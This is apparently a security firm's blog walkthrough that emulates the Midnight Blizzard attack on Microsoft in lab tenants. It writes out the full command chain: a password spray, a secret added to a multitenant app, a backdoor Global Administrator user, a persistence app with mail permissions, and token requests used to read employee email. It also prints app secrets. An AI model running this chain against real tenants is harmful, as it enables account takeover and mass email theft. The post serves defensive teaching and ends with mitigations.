Microsoft Midnight Blizzard Attack Analysis And Walk-through

Introduction

In this blog post, we will examine the actions of the Russian threat actor group that targeted Microsoft. We will walk through the attack chain scenario and provide a detailed analysis of what happened, with a particular focus on authentication misconfigurations that allowed the threat actors to compromise Microsoft’s system.

Additionally, we will offer valuable tips and best practices for organizations to mitigate the risk of malicious OAuth applications and brute-force/password-spray attacks.

Microsoft recently disclosed a security breach occurring between November 2023 and January 2024, attributed to the Russian cyber group Midnight Blizzard (also known as NOBELIUM). The breach originated from compromising a non-production test tenant account lacking Multi-Factor Authentication (MFA). Subsequently, the attackers moved laterally to the central Microsoft corporate production tenant, obtaining elevated privileges within Microsoft’s Exchange Online tenant and gaining unrestricted access to corporate mailboxes.

The attack path to compromise.

In our demonstration, we will emulate Microsoft’s environment using testrbtsecurity.onmicrosoft.com as the test environment and pentestsec.onmicrosoft.com as the corporate environment. It is worth noting that the hacker group targeted both the non-production environment (testrbtsecurity.onmicrosoft.com) and the corporate Microsoft environment (pentestsec.onmicrosoft.com).

Initial Access: Password Spray On The Test Enviroment

We will gain access to the test environment by successfully performing a password-spraying attack on a test account without multi-factor authentication (MFA) enabled. We will use newdeveloper@testrbtsecurity.onmicrosoft.com by typing in the commands below.

PS C:\Tools\Azure_Tools\MSOLSpray> powershell -ep bypass
PS C:\Tools\Azure_Tools\MSOLSpray> Import-Module .\MSOLSpray.ps1
PS C:\Tools\Azure_Tools\MSOLSpray> Invoke-MSOLSpray -UserList .\users.txt -Password March2024! 

Once we have potential valid credentials, we can verify them via the MFASweep PowerShell module to confirm if MFA is enabled on those accounts, as shown below.

PS C:\Tools\Azure_Tools\MFASweep> powershell -ep bypass
PS C:\Tools\Azure_Tools\MFASweep> Import-Module .\MFASweep.ps1
PS C:\Tools\Azure_Tools\MFASweep> Invoke-MFASweep -Username newdeveloper@testrbtsecurity.onmicrosoft.com -Password March2024!

When we have fewer accounts to validate, the most efficient method is to log into the Azure portal and confirm if MFA is enabled; otherwise, use MFAsweeper for bulk verification.

Authenticated Enumeration – Enumerate Roles and Permissions

Once inside the test environment, the next step is to check the role and permissions assigned to the new developer user. The user named newdeveloper has a privileged role as Application Administrator. In other words, the user can create and manage all aspects of app registrations and enterprise apps, which means that the developer can create Apps and secret keys for any of the Apps in the test environment.

At this point, we will be checking the Apps registered in the test environment and their API permissions. The newdeveloper user has access to an App called MultiTenantProdApp, which might have access to the corporate environment. Since the user has the Application Administrator role can create a new set of keys on the MultiTenantProdApp.

MultiTenantProdAppAPI permissions

  • AppRoleAssignment.ReadWrite.All —This permission enables the ability to read and write app role assignments across all resources in an Azure AD tenant. It is usually utilized for applications or services requiring programmatic app role assignment management within an Azure AD environment. It is important to keep in mind that this permission should be managed with caution and only granted to trusted applications, as it can have significant implications for the security and access control of Azure resources.
  • Directory.ReadWrite.All —This permission allows an application to access and modify all directories in the organization. This includes creating, updating, and deleting directory objects such as users, groups, and contacts.
    As this permission provides significant control over the directory data, it should be granted carefully. Normally, it is assigned to applications that need to perform administrative tasks within Azure AD or manage directory resources programmatically.
  • RoleManagement.ReadWrite.Directory – This permission can potentially be a custom role or a built-in role in Azure RBAC, granting permissions to read from and write to directories within Azure AD. This would allow users or applications to manage directory objects like users, groups, applications, and devices within the Azure AD tenant.

User Permission – Assigned Role

  • Application Administrator— It is crucial to manage, maintain, and optimize applications deployed within the Azure cloud environment. Otherwise, there is a risk of manipulating essential Azure resources, compromising applications, stealing identities, breaching data, disrupting services, exploiting security weaknesses, manipulating data, escalating privileges, and gaining unauthorized access to other systems.

Since we identified that the MultiTenantProdApp might have access to the product environment, we will create a set of keys using them to authenticate the production environment.

AppID: 2db432c1-4cc5-4ce2-8339-0fb2a9ec0275
TenantID: b65e7a93-8720-4c56-9116-f2b83073f205
SecretID: _y28Q~DICirCXVYK.GOM~a1slIFnf6OsHRYmDbjQ

Next, we verify whether the production domain is a valid tenant by typing the URL below into a browser and replacing the domain.

https://login.microsoftonline.com/getuserrealm.srf?login=USERNAME@pentestsec.onmicrosoft.com&xml=1

Once we confirm that the production environment is valid, get the tenant ID with the URL below replacing the domain.

https://login.microsoftonline.com/pentestsec.onmicrosoft.com/.well-known/openid-configuration

Prod Tenant ID: a93-8720-3-f2b83073f205

Lateral Movement – Pivoting From Test To Production Environment

Now that we have obtained all the necessary information authenticate the production environment using the command below to verify the secret key.

App ID:2db432c1-4cc5-4ce2-8339-0fb2a9ec0275
Secret ID:_y28Q~DICirCXVYK.GOM~a1slIFnf6OsHRYmDbjQ
Tenant ID:b65e7a93-8720-4c56-9116-f2b83073f

Use the Azure CLI command tool to authenticate into the Azure Environment.

az login --service-principal -u 2db432c1-4cc5-4ce2-8339-0fb2a9ec0275 -p _y28Q~DICirCXVYK.GOM~a1slIFnf6OsHRYmDbjQ  --tenant b65e7a93-8720-4c56-9116-f2b83073f205 --allow-no-subscriptions

It is clear from the image below that we have gained access to the production environment.

As we can see in the image below, we have the same permission as the MultiTenantProdApp.

Microsoft GraphAPI permissions

  • AppRoleAssignment.ReadWrite.All —This permission enables the ability to read and write app role assignments across all resources in an Azure AD tenant. It is usually utilized for applications or services that require programmatic management of app role assignments within an Azure AD environment. It is important to keep in mind that this permission should be managed with caution and only granted to trusted applications, as it can have significant implications for the security and access control of Azure resources.
  • Directory.ReadWrite.All —This permission allows an application to access and modify all directories in the organization. This includes creating, updating, and deleting directory objects such as users, groups, and contacts.
    As this permission provides significant control over the directory data, it should be granted carefully. Normally, it is assigned to applications that need to perform administrative tasks within Azure AD or manage directory resources programmatically.
  • RoleManagement.ReadWrite.Directory – This permission can potentially be a custom role or a built-in role in Azure RBAC, granting permissions to read from and write to directories within Azure AD. This would allow users or applications to manage directory objects like users, groups, applications, and devices within the Azure AD tenant.

Once logged into Azure, we will interact with Microsoft Entra ID (Azure Active Directory (Azure AD)) to obtain the list of users in the production environment.

az ad user list

Persistence & Privilege Escalation

New App Registration & App API Permission Assigned

We will use the Directory.ReadWrite.All permission to create a new user ‘h4ck3d‘ with the principal name h4ck3d@pentestsec.onmicrosoft.com in the corporate tenant.

az ad user create --display-name h4ck3d --password VerySecurePassword@895623 --user-principal-name h4ck3d@pentestsec.onmicrosoft.com

We utilized the RoleManagement.ReadWrite.Directory permission to assign the user h4ck3d a Global Administrator role.

Requirements:

PrincipalId: 7a113e4e-255d-4861-b932-299225c0c0bb
Global-Administrator-roleDefinitionId: 62e90394-69f5-4237-9190-012177145e10

Obtaining the roleDefinitionId for the Global Administrator group involves visiting the Microsoft website.

We can use the following commands to assign the Global Administrator role to our h4ck3d user.

$Body="{'principalId':'7a113e4e-255d-4861-b932-299225c0c0bb', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"

az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body

A multitenant app registration named ‘PersistApp‘ will be created for stealthier persistence in the Test Environment. It has permissive API permissions for which the consent can be granted using the previously created ‘h4cked‘(global admin) user.

Microsoft GraphAPI permissions

  • Mail.ReadWrite — Refers to a permission scope within Microsoft Entra ID (Azure Active Directory (Azure AD)) that grants an application the ability to read and write mail in all mailboxes without a signed-in user. This permission is typically used in scenarios where an application needs to access and manage emails on behalf of users or interact with Exchange Online mailboxes programmatically.
  • Mail.Send —This permission allows sending emails; this can potentially abuse this capability to send spam, phishing emails, or other malicious content. This can result in reputational damage, legal consequences, and potentially blacklisting of your email domain by spam filters.
  • User.Read – This permission allows the application to read the profile of signed-in users. It includes basic profile properties such as username, display name, and email address.
Application (client) ID : a9e5f9f2-d55e-4c9ea7a6-4ce636b519f2

Application ID

Take note of the Application ID, it will be used for future steps.

Notice that the global administrator account called h4cked was used to grant consent to our PersistApp.

By typing the URL below in a new browser window, you give full access consent for mail permission to read, write, and send mail to any user from the production environment using the new Application ID.

Application (client) ID : a9e5f9f2-d55e-4c9ea7a6-4ce636b519f2
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=a9e5f9f2-d55e-4c9ea7a6-4ce636b519f2&response_type=token&redirect_uri=https://jwt.ms&scope=https://graph.microsoft.com%2F.default&state=12345

We are using the h4ck3d@pentestsec.onmicrosoft.com (h4ck3d) user account to give full access consent for mail permission.

Once the consent is granted successfully, an enterprise application called PersistApp is automatically created inside the Enterprise Applications production tenant.

We are now switching back to the test environment to create a secret key for the PersistApp we created in the persistence section. From now on, we can directly use the AppID and SecretID to log into the prod tenant, read any user’s email, send mail to any user, etc.

The screenshot below demonstrates the secret creation process for PersistApp.

Goal – Read Corporate Employee Emails.

Once the attack chain is completed, accessing employee inbox emails is possible using both Postman and Microsoft Graph API.

We will now retrieve the access token, which is required to authenticate to the Microsoft Graph API using the ‘PersistAppappID and secretID along with the Prod Tenant ID. The token is used to gain access to the employee’s email (data exfiltration).

curl --location 'https://login.microsoftonline.com/b65e7a93-8720-4c56-9116-f2b83073f205/oauth2/v2.0/token' --header 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'grant_type=client_credentials' --data-urlencode 'client_secret=_y28Q~DICirCXVYK.GOM~a1slIFnf6OsHRYmDbjQ' --data-urlencode 'client_id=2db432c1-4cc5-4ce2-8339-0fb2a9ec0275' --data-urlencode 'scope=https://graph.microsoft.com/.default'
https://login.microsoftonline.com/b65e/a93-8720-3-f2b83073f205/pauth2/v2.0/token

We now have permission to read, write, or modify user data stored in Microsoft 365 services such as Exchange Online (email).

Having access to all messages now allows us to read a specific email using message-id.

Conclusion

As highlighted in this blog, our aim is to replicate and illustrate one potential path used in the Microsoft attack by Russian threat actors. This enforces the importance of conducting penetration tests at least twice a year or engaging in adversary emulation assessment to confirm proper security measures are in place. Here are just a few to begin with:

  • Enabling multifactor authentication (MFA) in the Entra ID tenant, even in a non-production environment, is more important now than ever.
  • Enable Smart Lockout – Azure AD Smart Lockout defends against brute force or password-spray attacks.
  • Prevent illicit application consent attacks – Restricting users from consenting to unverified third-party applications.
  • Review and regularly audit the roles applied to each user.
  • Monitoring the cloud environment using Azure Monitor.
  • Initial Access – Password Spraying – T1110.003, T1078.004
  • Authenticated Enumeration – Enumerate Roles and Permissions – T1589
  • Lateral Movement – Pivoting From Test To Production Environment – T1528, TA0008
  • Persistence & Privilege Escalation – New App Registration & App API Permission Assigned – TA0004, T1548.005
  • Goal – Read Corporate Employee Emails – T1114.002, TA0010

Credits & References

Authors

  • Red Team Lead

    As a security computer expert with over 15 years of experience, he specializes in various areas such as web applications, cloud computing (AWS, Azure & GCP), infrastructure penetration testing, red & purple team assessments, vulnerability analysis, exploit development, and malware analysis. He has conducted numerous successful black-and-grey box penetration testing and adversary emulation engagements throughout his career. He has demonstrated expertise in testing SOAP and RESTful web API services, thick clients, wireless networks, internal/external assessments, SAP ERP servers, ATMs, Tactics Techniques and Procedures (TTPs), and forensics.

  • Chanel Carr

    Professional security architect of multi-clouds, including Amazon Web Services (AWS), Microsoft Azure, and Google GCP, with experience evaluating and testing computer security systems, creating firewalls, improving network security to protect the system further.

  • Asif Khan

    Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.

Share the Post:

Subscribe To Our Newsletter